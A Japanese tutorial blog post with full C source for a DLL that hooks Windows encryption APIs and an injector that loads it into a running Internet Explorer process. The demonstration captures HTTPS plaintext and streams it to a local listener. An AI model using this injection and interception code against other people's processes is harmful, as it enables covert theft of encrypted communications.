DLL injectionでWindows APIによる暗号化処理を覗いてみる

「LD_PRELOAD injectionでOpenSSLによる暗号化処理を覗いてみる」では、Linux環境におけるOpenSSLを使った暗号化処理を覗いてみた。 ここでは、「IAT書き換えによるAPIフックをやってみる」と同様の方法にて、Windows環境におけるWindows APIを使った暗号化処理を覗いてみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

フックするDLLを作ってみる

暗号化処理に関するWindows APIには、古くからあるCryptoAPI系のものとVista以降で導入されたCNG系のものがある。 以下のリファレンスを参考に、フックするDLLのコードを書くと次のようになる。

/* hook_cryptoapi.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <tlhelp32.h>              /* CreateToolhelp32Snapshot */
#include <Dbghelp.h>               /* ImageDirectoryEntryToData */
#include <Wincrypt.h>
#include <bcrypt.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Dbghelp")
#pragma comment(lib, "ws2_32")

void modifyIAT(char *modname, void *origaddr, void *newaddr);
void modifyIATonemod(char *modname, void *origaddr, void *newaddr, HMODULE hModule);

BOOL newCryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen);
BOOL newCryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);
NTSTATUS newBCryptEncrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);
NTSTATUS newBCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags);
FARPROC origCryptEncrypt;
FARPROC origCryptDecrypt;
FARPROC origBCryptEncrypt;
FARPROC origBCryptDecrypt;

WSADATA wsaData;
SOCKET s;

SOCKET create_connection(char *host, int port)
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    SOCKADDR_IN name;
    name.sin_family = AF_INET;
    name.sin_addr.s_addr = inet_addr(host);
    name.sin_port = htons(port);
    connect(s, (SOCKADDR *)&name, sizeof(name));
    return s;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    HMODULE advapi32 = GetModuleHandle("advapi32");
    HMODULE bcrypt = GetModuleHandle("bcrypt");
    origCryptEncrypt = GetProcAddress(advapi32, "CryptEncrypt");
    origCryptDecrypt = GetProcAddress(advapi32, "CryptDecrypt");
    origBCryptEncrypt = GetProcAddress(bcrypt, "BCryptEncrypt");
    origBCryptDecrypt = GetProcAddress(bcrypt, "BCryptDecrypt");

    switch (fdwReason) {
      case DLL_PROCESS_ATTACH:
        s = create_connection("127.0.0.1", 5000);
        modifyIAT("advapi32.dll", origCryptEncrypt, newCryptEncrypt);
        modifyIAT("advapi32.dll", origCryptDecrypt, newCryptDecrypt);
        modifyIAT("bcrypt.dll", origBCryptEncrypt, newBCryptEncrypt);
        modifyIAT("bcrypt.dll", origBCryptDecrypt, newBCryptDecrypt);
        break;
      case DLL_PROCESS_DETACH:
        modifyIAT("advapi32.dll", newCryptEncrypt, origCryptEncrypt);
        modifyIAT("advapi32.dll", newCryptDecrypt, origCryptDecrypt);
        modifyIAT("bcrypt.dll", newBCryptEncrypt, origBCryptEncrypt);
        modifyIAT("bcrypt.dll", newBCryptDecrypt, origBCryptDecrypt);
        closesocket(s);
        break;
    }

    return TRUE;
}

void modifyIAT(char *modname, void *origaddr, void *newaddr)
{
    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());

    MODULEENTRY32 me;
    me.dwSize = sizeof(me);

    /* modify IAT in all loaded modules */
    BOOL bModuleResult = Module32First(hModuleSnap, &me);
    while (bModuleResult) {
        modifyIATonemod(modname, origaddr, newaddr, me.hModule);
        bModuleResult = Module32Next(hModuleSnap, &me);
    }

    CloseHandle(hModuleSnap);
}

void modifyIATonemod(char *modname, void *origaddr, void *newaddr, HMODULE hModule)
{
    ULONG ulSize;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
    pImportDesc = ImageDirectoryEntryToData(hModule, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize);
    if (pImportDesc == NULL) {
        return;
    }

    /* seek the target DLL */
    while (pImportDesc->Name) {
        char *name = (char*)hModule + pImportDesc->Name;
        if (lstrcmpi(name, modname) == 0) {
            break;
        }
        pImportDesc++;
    }
    if (pImportDesc->Name == 0) {
        return;
    }

    /* modify corrensponding IAT entry */
    PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((char *)hModule + pImportDesc->FirstThunk);
    while (pThunk->u1.Function) {
        PROC *paddr = (PROC*)&pThunk->u1.Function;
        if (*paddr == origaddr) {
            DWORD flOldProtect;
            VirtualProtect(paddr, sizeof(paddr), PAGE_EXECUTE_READWRITE, &flOldProtect);
            *paddr = newaddr;
            VirtualProtect(paddr, sizeof(paddr), flOldProtect, &flOldProtect);
        }
        pThunk++;
    }
}

BOOL newCryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen)
{
    send(s, "[CryptEncrypt] ", 15, 0);
    send(s, pbData, dwBufLen, 0);
    send(s, "\n", 1, 0);
    return origCryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen);
}

BOOL newCryptDecrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen)
{
    BOOL ret = origCryptDecrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen);
    send(s, "[CryptDecrypt] ", 15, 0);
    send(s, pbData, *pdwDataLen, 0);
    send(s, "\n", 1, 0);
    return ret;
}

NTSTATUS newBCryptEncrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags)
{
    send(s, "[BCryptEncrypt] ", 16, 0);
    send(s, pbInput, cbInput, 0);
    send(s, "\n", 1, 0);
    return origBCryptEncrypt(hKey, pbInput, cbInput, pPaddingInfo, pbIV, cbIV, pbOutput, cbOutput, pcbResult, dwFlags);
}

NTSTATUS newBCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags)
{
    NTSTATUS ret = origBCryptDecrypt(hKey, pbInput, cbInput, pPaddingInfo, pbIV, cbIV, pbOutput, cbOutput, pcbResult, dwFlags);
    send(s, "[BCryptDecrypt] ", 16, 0);
    send(s, pbOutput, *pcbResult, 0);
    send(s, "\n", 1, 0);
    return ret;
}

上のコードでは、ローカルホストのTCPの5000番ポートに接続し、ログを送信する。

次に、上のDLLをDLL injectionするコードを書くと次のようになる。

/* injector.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")

WSADATA wsaData;

SOCKET listen_connection(int port)
{
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));
    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(port);
    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 5000");
    return s;
}

VOID interact(SOCKET s)
{
    SOCKET c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    char buf[8192];
    while (1) {
        int size = recv(c, buf, 8192, 0);
        if (size == 0) {
            break;
        }
        fwrite(buf, size, 1, stdout);
    }

    closesocket(c);
}

int main(int argc, char *argv[])
{
    SOCKET s = listen_connection(5000);

    char dllpath[] = "C:\\Users\\user\\Desktop\\test\\hook_cryptoapi.dll";

    int pid = atoi(argv[1]);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    void *datamemory = VirtualAllocEx(hProcess, NULL, sizeof(dllpath), MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, datamemory, (void *)dllpath, sizeof(dllpath), NULL);

    HMODULE kernel32 = GetModuleHandle("kernel32");
    FARPROC loadlibrary = GetProcAddress(kernel32, "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadlibrary, datamemory, 0, NULL);
    if (!hThread) {
        /* 32 bit (WOW64) -> 64 bit (Native) won't work */
        char errmsg[512];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errmsg, sizeof(errmsg), NULL);
        printf("%hs", errmsg);
        return 1;
    }
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    VirtualFreeEx(hProcess, datamemory, sizeof(dllpath), MEM_RELEASE);

    interact(s);
    return 0;
}

上のコードでは、TCPの5000番ポートを待ち受け、受信した文字列をコンソールに出力する。

それぞれのコードをコンパイルし、Internet ExplorerのプロセスにDLL injectionを行った後、https://www.example.com/へアクセスすると次のようになる。

>cl hook_cryptoapi.c /LD

>cl injector.c

>tasklist

イメージ名                     PID セッション名     セッション# メモリ使用量
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          4 K
System                           4 Services                   0     10,836 K
(snip)
iexplore.exe                  5560 Console                    1     26,436 K
iexplore.exe                  6536 Console                    1    138,760 K
SearchProtocolHost.exe        9180 Console                    1      7,396 K
tasklist.exe                  7232 Console                    1      5,960 K

>injector.exe 6536
[+] listening on 0.0.0.0 port 5000
[+] connection accepted
[BCryptEncrypt] GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: ja
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MANMJS; rv:11.0) li
ke Gecko
Accept-Encoding: gzip, deflate
Host: www.example.com
Connection: Keep-Alive
Cache-Control: no-cache

(snip)
[BCryptDecrypt] HTTP/1.1 200 OK
Content-Encoding: gzip
Cache-Control: max-age=604800
Content-Type: text/html
Date: Mon, 14 Mar 2016 13:08:19 GMT
Etag: "359670651+gzip"
Expires: Mon, 21 Mar 2016 13:08:19 GMT
Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT
Server: ECS (rhv/8199)
Vary: Accept-Encoding
X-Cache: HIT
x-ec-custom-error: 1
Content-Length: 606

(snip)

上の結果から、暗号化前および復号後の内容が取得できていることが確認できる。

関連リンク